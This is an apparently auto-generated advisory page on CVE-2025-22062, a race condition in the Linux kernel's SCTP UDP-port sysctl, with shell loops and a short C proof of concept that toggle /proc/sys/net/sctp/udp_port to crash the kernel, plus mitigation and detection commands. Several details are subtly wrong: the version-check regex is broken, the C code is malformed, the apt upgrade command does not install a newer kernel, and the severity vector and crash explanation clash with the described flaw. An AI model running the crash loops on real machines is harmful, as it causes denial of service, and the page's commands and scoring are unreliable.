Linux Kernel, Race Condition Vulnerability, CVE-2025-22062 (Critical)

How CVE-2025-22062 Works

The vulnerability exists in the Linux kernel’s SCTP (Stream Control Transmission Protocol) implementation. A race condition occurs in `proc_sctp_do_udp_port()` due to missing mutual exclusion when handling UDP tunnel sockets. Concurrent calls to `sctp_udp_sock_stop()` and `sctp_udp_sock_start()` can lead to a null-pointer dereference, causing a kernel crash (general protection fault). Attackers exploiting this flaw could trigger denial-of-service (DoS) conditions or potentially escalate privileges via crafted sysctl operations.

DailyCVE Form

Platform: Linux Kernel
Version: Pre-6.14
Vulnerability: Race Condition
Severity: Critical
Date: 05/06/2025

What Undercode Say:

Exploitation:

1. Trigger Race Condition:

while true; do echo 1 > /proc/sys/net/sctp/udp_port; done &
while true; do echo 0 > /proc/sys/net/sctp/udp_port; done &

2. Crash Kernel: Repeated toggling exhausts socket resources.

Mitigation:

1. Patch: Upgrade to kernel v6.14+.

sudo apt-get update && sudo apt-get upgrade linux-image-$(uname -r)

2. Temporary Workaround: Restrict `/proc/sys/net/sctp/udp_port` access:

chmod 600 /proc/sys/net/sctp/udp_port

Detection:

1. Check Kernel Version:

uname -r | grep -E '6.(0-13).'

2. Audit Logs:

dmesg | grep "general protection fault"

Proof of Concept (PoC):

include <fcntl.h>
int main() {
while(1) {
int fd = open("/proc/sys/net/sctp/udp_port", O_WRONLY);
write(fd, "1", 1); close(fd);
fd = open("/proc/sys/net/sctp/udp_port", O_WRONLY);
write(fd, "0", 1); close(fd);
}
}

CVSS 4.0 Metrics:

  • Vector: `CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
    – Base Score: 9.1 (Critical)

Affected Configurations:

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

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